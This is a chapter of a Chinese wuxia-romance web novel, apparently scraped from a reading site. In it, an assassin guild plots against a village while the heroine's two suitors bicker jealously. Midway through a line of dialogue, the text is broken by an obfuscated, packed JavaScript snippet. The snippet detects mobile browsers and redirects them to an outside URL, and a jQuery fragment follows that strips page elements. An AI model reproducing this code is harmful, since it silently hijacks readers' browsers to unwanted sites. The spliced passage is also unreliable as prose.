“砰!”
封闭的密室内,昏黄的蜡烛被压得十分虚浮,快要看不见。
圆桌之上,围着坐着五个身着黑袍的人,皆看不清楚他们的真面目,只能从被拍得裂了缝隙的圆桌上看出他们不悦的心情。
“区区一个小庄子都灭不掉,你小子是干什么吃的?”拍桌那人恶狠狠盯向他对面的人。
“冲我发什么火,你想打架吗?来啊!”他对面那人倏然起身,也回之以凶狠的表情。
“打就打!你害死我手下那么多魍魉,我还没跟你算账!早知道我自己去了,你个胆小鬼,连面都不出,气煞我也!”
“区区一个村子还用老子出面吗?你怎么不说是你手下太废物了?我就不在一回他们都撑不住,被个籍籍无名的庄子害成这样,我还没嫌你坏咱们日月堂的名声,你还先狗叫起来了?你狗叫个什么啊你!”
“你说什么,臭蠕虫!”
“说的就是你,野狗!”
“说谁野狗!老子叫野犬!”
“我叫盘蛇,你不也叫我臭蠕虫!”
两个黑袍人争执不休,看上去都要打起来了。但一旁仍旧还有人说风凉话。
“打起来打起来,死的那个我来收尸!”这声音听上去很年轻,像是十四五岁热血澎湃的少年。
“消息有误,那得怪我,怎么,也要和我打一场?”
忽然,一道平和的声音响起来。
顿时,所有人都看向说话那人,刚刚吵得热闹的二人也连忙闭上了嘴:“属下不敢。”
少年脸色也稍微正经起来,讪讪道:“我就开个玩笑。”
那人端坐着,双手交叉抬起他的下颚,他带着色彩形状皆很怪诞的面具,随他微微抬头,而露出整张面具青面獠牙的姿态,看上去还怪可怕的。
见几人不再胡闹,他才看向桌面,那被拍得裂开缝隙的圆桌中间,一只漂亮的鸽子正优雅的走来走去,鸽子旁边则是一张小纸条,上面直写着八个字,“李庄有鬼,全军覆没”。
值得注意的是,最后一个字似乎停顿了一下,后面才接着写完的,因为字上出现了明显的接续痕迹。
“堂主,这一次日月堂损失惨重,您怎么看?”老者的声音缓慢而沙哑,却中气十足,并没有老人真正的虚弱感。
他偏头,眼中无一丝波澜,仿佛一切都在他意料之中。
他道:“日月堂底蕴深厚,还没到损失惨重的地步。”
“堂主的意思是……还想再碰一碰?”老者的目光落在纸条上,眼神变得很有深意。
那人悠悠道:“巫马下士二人医四人,道,凡邦之有疾病者,疕疡者造焉,则使医……”
老者一下子明白:“分而治之。”
*
熙熙攘攘的街道上,车水马龙,人来人往。四处敞开门迎客的店铺,都有掌柜站在门口吆喝,不知道的人还以为是路边小贩吆喝的呢。
布庄门口,带着斗笠的少女就近挑选着布匹,有一搭没一搭的翻找着。
她身边跟着略显恭敬的掌柜,在一旁状似给她介绍花样。
不过二人死实则在谈别的事情。
少女问道:“今日可有生人涌入县里?”
掌柜立马左右瞧了瞧,小心翼翼凑近她耳畔,回道:“有,还不少。今早来了好多生人,天不亮就在这街上走了,我瞧他们眼神东撇西瞧,不像什么好东西。早上庄子里的兄弟们都可以交代过,所以我们一发现就将人抓起来关在了地窖,东家要不要去瞧瞧?”
这些家伙都是灵光。
不过……
“瞧就不用了。你且将人看管好,稍后庄子里的兄弟们会来抓人。辛苦了。”李熙说道。
掌柜的受宠若惊,连忙摆手:“不辛苦不辛苦,当初若不是掌柜的收留,我们老早就饿死了。东家不仅救了我们还给了我们活计,我们誓死要报答东家恩情!”
“谈什么死不死的,死容易,活下来才难。这匹布不错,掌柜的,你给我做成两身衣裳送到许家去,辛苦了。”李熙从怀中掏出两粒碎银子放到掌柜的手中。
掌柜的哪里敢要:“东家,您在自家买布还给什么钱,你这不是折煞小的吗?”
李熙被他这诚惶诚恐的模样逗笑了,道:“亲兄弟也得明算帐,收下吧,好记账……拿着。”李熙不由分说,就将银子塞进他怀中,随后就朝门口走了。
掌柜看着李熙,又看向银子,无奈摇头:“东家哪儿都好,就爱明算帐,自己的铺子还算得这么清楚。”
“东家哪里是算得清楚,她那是想让我们多记一笔,到了月末我们还能多分点钱。”一旁刚刚给客人量完身型的小姑娘见了掩嘴在那边笑。
掌柜的一听,当即愣住了,他连忙看向门外的东家,可是东家已经走远,他只能感慨道:“东家总是这样,哪里找这么好的东家啊!”
小姑娘继续笑:“是啊,打着灯笼都找不到,所以掌柜的,你可不能偷懒,否则我第一个就不答应。”
“嘿,你这话说的,我哪里敢偷懒。”
小姑娘又笑。
李熙刚刚出门,就看见一直等在门口的几个男人。
俊的俊,美的美,总之十分扎眼,扎眼刀过路人都会频频投来目光,甚至有人驻足观赏,让她有些无奈:“你们觉得,我戴斗笠是为了什么?”
“嗯?”少年眉心一点朱砂红轻轻抬起,一双柔情似水的眼睛故作无知。
装什么深情。李熙无语。
“小熙,我也带了斗笠。”许舒宁掀起一角轻纱,勾起唇温柔的看着她,那双眼睛似湖面掀起淡淡的涟漪,十分好看。
小熙?
这又是哪出?李熙疑惑。
“哼。”紫衣少年叉腰:“孤等你,你就该谢天谢地,哪里来这么多怨言!”
嗯,熟悉的味道。李熙还松了口气。
她缓缓走过来,走到几人很近,才提起正事,说道:“跑了几个铺子,几个掌柜说得都差不多。今天的确来了不少生人,看着不对劲的,他们都抓起来了,等会我让刘秀将人带走,回庄子里再好好审审。”
“看来日月堂并没有善罢甘休。他们会不会再来突袭庄子?”沧白藏思忖道。
李熙也想过,所以她道:“突袭也没事,叫狼卫队守在庄子里面了,狼群的嗅觉很敏锐,只要发现有生人就会发出叫声,那时候,会有人再次启动机关。那些人不来便罢了,来,则要让他们有去无回。”
“日月堂是什么?他为什么要突袭李庄?”许舒宁虽然知道李庄有难,可是并不知道详情,因为李熙从未告诉过他,他也没有时间去了解。
李熙刚想回答,就被人截了胡。
沧白藏笑着看向许舒宁:“原来许公子不知道?也难怪,许公子身子弱,她应该不会告诉许公子的。其实,日月堂是一个以杀人为业的组织,只要雇主给钱,他们什么都做,他们行事十分凶狠,为达目的不择手段,而且从来不会留下证据,所以即便有人知道凶手是他们,也没有证据证明。是吧,李熙?”
说着他还故意叫了一句李熙,突然被点名的李熙一愣,总觉得这话怪怪的,又没找到怪异之处,她谨慎地点了点头:“嗯,对。”
许舒宁拳头瞬间攥紧了。
这姓沧的,他和李熙有那么熟悉吗?用他来解释?
许舒宁一把挽过李熙的手:“哎呀,小熙心疼我身体弱,一般不爱跟我说这些,还谢谢沧大人告诉我了,不然小熙肯定一直不会告诉我,毕竟我身子弱,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126368|157348||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若害怕起来,她一定会心疼的。是吧,小熙?”
李熙:?
见李熙没回应,许舒宁目光立马看了过来,委屈巴巴的。
李熙:“……嗯,对。”
不理解什么情况,对就算了。
许舒宁一下子得意起来。
沧白藏看着许舒宁挽着少女的手,不自觉就眯起了眼睛。
真是碍眼。
他五指微微蜷缩,随后缓缓垂下手臂,任宽大的衣袖遮住他细微的动作。
而他脸上,微笑的表情不变:“作为男子,李家哥哥还是坚强一些的好,被个刺客吓得屁滚尿流,不好看。”
他刻意强调了“李家哥哥”四个字、来提醒许舒宁的身份。至于后面,他语气很真诚,听不出嘲讽的意思,但只有许舒宁知道,他就是在嘲讽他。
许舒宁皮笑肉不笑:“在自家人身边需要坚强什么,难道沧大人在自己娘子身边还要故作姿态吗?”
沧白藏微微一笑:“许公子说的在下不太明白。毕竟在下身家清白,洁身自好,不近女色,自然不像许公子,懂这些弯弯道道。”
许舒宁笑容一僵:这人真不要脸、这话都说得出口?还有,在那上什么眼药呢,拐着弯儿说谁身家不清白,不洁身自好?
“我清不清白,洁不洁身自好,我家小熙自然知道,不过你嘛……只有你自己知道了。”许舒宁勾了勾唇,毫不留情地回击道。
沧白藏手指掐得泛白。
我家小熙?
好,很好。
李熙低头,看着自己被越挽越紧的手臂,感觉气氛逐渐紧张起来。
好像早晨她领着小狐狸回去的时候就是这样。
李熙下意识看向小狐狸。
小狐狸也是一脸惊讶地对她挤眉弄眼:这俩以前有仇?
李熙:不知道啊,你知道?
小狐狸:孤都没见过你家哥哥,孤怎么能知道!
李熙:哦。
“你们俩,眉目传情?”
沧白藏和许舒宁几乎是异口同声。
李熙无语:“还挺默契。”
小狐狸歪着脑袋:“什么叫眉目传情?”
许舒宁不太开心地扯了扯李熙的袖子:“你今早带他去看日出了,你从来没有和我单独看过日出。”
李熙稍加思考,冷静回应:“看过吧,你烧到昏迷不醒的时候不是我照顾你到天亮?何况我们又不是单独看的,下面还有那么多兄弟们陪着。”
许舒宁一噎,直嘟囔:“……不解风情!”他在意的是这个吗?
明显某人还没开窍。
沧白藏听得眉目稍缓。
李熙注意到沧白藏投来的目光,以为他不相信,便回望沧白藏,坚持道:“我说的是实话。”
沧白藏笑开:“我知道。”不解风情得有些可爱。
姜衔华看了看许舒宁看了看李熙,忽然恍然大悟:“哦,我明白了!你吃醋了!你喜欢李熙!”
许舒宁没有回应。但是那羞怯的表情已经是最好的回应了。
姜衔华看了看许舒宁,又下意识看向沧白藏。
这位是吃醋了,那他的小舅舅怎么也这么奇怪?还说什么不近女色洁身自好……虽然是事实,可是他的小舅舅一向都是不在意这些的吧……
嗯……嗯?
不会吧?
姜衔华突然意识到一个可能性。
难道……小舅舅也吃醋了?
不、不会吧!
姜衔华悄悄瞥向沧白藏,可是沧白藏的目光却只是看着一个人。这回姜衔华便是真的惊恐失措起来。
他那个半只脚都快踏进佛门的小舅舅,剩下半只脚没有跟着进佛门,而是一拐弯踏入了红尘?